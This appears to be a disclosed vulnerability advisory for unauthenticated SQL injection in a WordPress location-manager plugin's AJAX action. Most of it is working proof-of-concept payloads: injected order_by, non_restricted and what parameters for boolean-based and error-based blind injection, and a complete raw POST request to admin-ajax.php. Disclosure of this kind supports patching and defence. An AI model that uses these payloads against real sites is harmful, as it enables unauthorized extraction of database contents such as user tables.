In the plugin, the AJAX action gd_popular_location_list did not properly sanitise or validate some of its POST parameters, which are then used in a SQL statement, leading to unauthenticated SQL Injection issues. The prerequisite to exploiting this vulnerability is finding a page on the vulnerable site which uses affected functionality. Even if the site uses the affected plugin, it has to include the file `/wp-content/plugins/geodir_location_manager/includes/widget-functions.php` which includes that action in the site. That page creates a `_nonce` variable which is validated by the script to be a valid one. In the time of writing. I did not find a way to bypass that check.
Exploiting the issue requires valid `wpinv_session_*` cookie, so proper `_nonce` value is generated. First vulnerable parameter is `order_by` which lacks any sanitization against SQL attacks. While it should take value ASC or DESC to indicate sort direction, it is possible to inject any arbitrary value in the query. That can be abused to retrieve data from the database by using boolean-based blind SQL injection technique. Example request parameters that are vulnerable to `order_by` parameter SQL injection: action=gd_popular_location_list&_nonce=7fd12c11d7&geodir_ajax=true&pageno=2&scatts={"title":"","what":"city","slugs":"","output_type":"grid","fallback_image":false,"per_page":4,"pagi_t":false,"pagi_b":true,"pagi_info":"","no_loc":false,"show_current":false,"country":"","region":"","city":"","country_val":"","region_val":"","city_val":"","order_by":",(SELECT+1+FROM+wp_users+WHERE+1%3d0)+asc"} These should be sent as a POST request to `/wp-admin/admin-ajax.php` endpoint. Different response is returned when condition changes from `1=1` to `1=0` which indicates successful SQL injection. Any valid table with more than one entry works in this particular PoC. Obviously valid `_nonce` vale also has to be provided here. Another vulnerable parameter is `country_non_restricted` Example request parameters: action=gd_popular_location_list&_nonce=7fd12c11d7&geodir_ajax=true&pageno=2&scatts={"title":"","what":"city","slugs":"","output_type":"grid","fallback_image":false,"per_page":4,"pagi_t":false,"pagi_b":true,"pagi_info":"","no_loc":false,"show_current":false,"country":"","region":"","city":"","country_val":"","region_val":"","city_val":"","country_non_restricted":"country)+AND+1=0--+"} It also leads to boolean-based SQL injection and can be abused as before. Similar parameter to this one is also `region_non_restricted`. It has extra prerequisite, that `what` parameter has to have value “region” in order to include it in query. Example request: action=gd_popular_location_list&_nonce=7fd12c11d7&geodir_ajax=true&pageno=2&scatts={"title":"","what":"region","slugs":"","output_type":"grid","fallback_image":false,"per_page":4,"pagi_t":false,"pagi_b":true,"pagi_info":"","no_loc":false,"show_current":false,"country":"","region":"","city":"","country_val":"","region_val":"","city_val":"","region_non_restricted":"region)+AND+1=1--+"} Last one from similar parameters is `city_non_restricted` - here “city” value needs to be present in `what` parameter. Request: action=gd_popular_location_list&_nonce=7fd12c11d7&geodir_ajax=true&pageno=2&scatts={"title":"","what":"city","slugs":"","output_type":"grid","fallback_image":false,"per_page":4,"pagi_t":false,"pagi_b":true,"pagi_info":"","no_loc":false,"show_current":false,"country":"","region":"","city":"","country_val":"","region_val":"","city_val":"","city_non_restricted":"city)+AND+1=1--+"} Next vulnerable parameter is `what` which is used in `GROUP BY` part of query. It also can be used to exfiltrate data using boolean-based injection. For that, easiest way to abuse it seems to induce runtime error on one of the conditions - which can be something like `EXP(720)` mentioned here (https://www.exploit-db.com/docs/english/37953-mysql-error-based-sql-injection-using-exp.pdf) action=gd_popular_location_list&_nonce=7fd12c11d7&geodir_ajax=true&pageno=2&scatts={"title":"","what":"(SELECT+CASE+WHEN+1%3d1+THEN+1+ELSE+exp(720)+END)--+","slugs":"","output_type":"grid","fallback_image":false,"per_page":4,"pagi_t":false,"pagi_b":true,"pagi_info":"","no_loc":false,"show_current":false,"country":"","region":"","city":"","country_val":"","region_val":"","city_val":""} POST /wp-admin/admin-ajax.php HTTP/1.1 Host: vulnerable-site.com Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 394 Connection: close Cookie: wpinv_session_4d770309287a90030b86817a1c5cbe3f=a4010a77bb280cacd86afe13b405f6ff%7C%7C1621499174%7C%7C1621495574%7C%7Cdef9b2ee7cb7852ceabfcff7eff6f5a4 Pragma: no-cache Cache-Control: no-cache action=gd_popular_location_list&_nonce=7fd12c11d7&geodir_ajax=true&pageno=2&scatts={"title":"","what":"(SELECT+CASE+WHEN+1%3d1+THEN+1+ELSE+exp(720)+END)--+","slugs":"","output_type":"grid","fallback_image":false,"per_page":4,"pagi_t":false,"pagi_b":true,"pagi_info":"","no_loc":false,"show_current":false,"country":"","region":"","city":"","country_val":"","region_val":"","city_val":""}
Rafal Goryl
Rafal Goryl
Yes
2021-06-04 (about 2 years ago)
2021-06-04 (about 2 years ago)
2021-06-25 (about 2 years ago)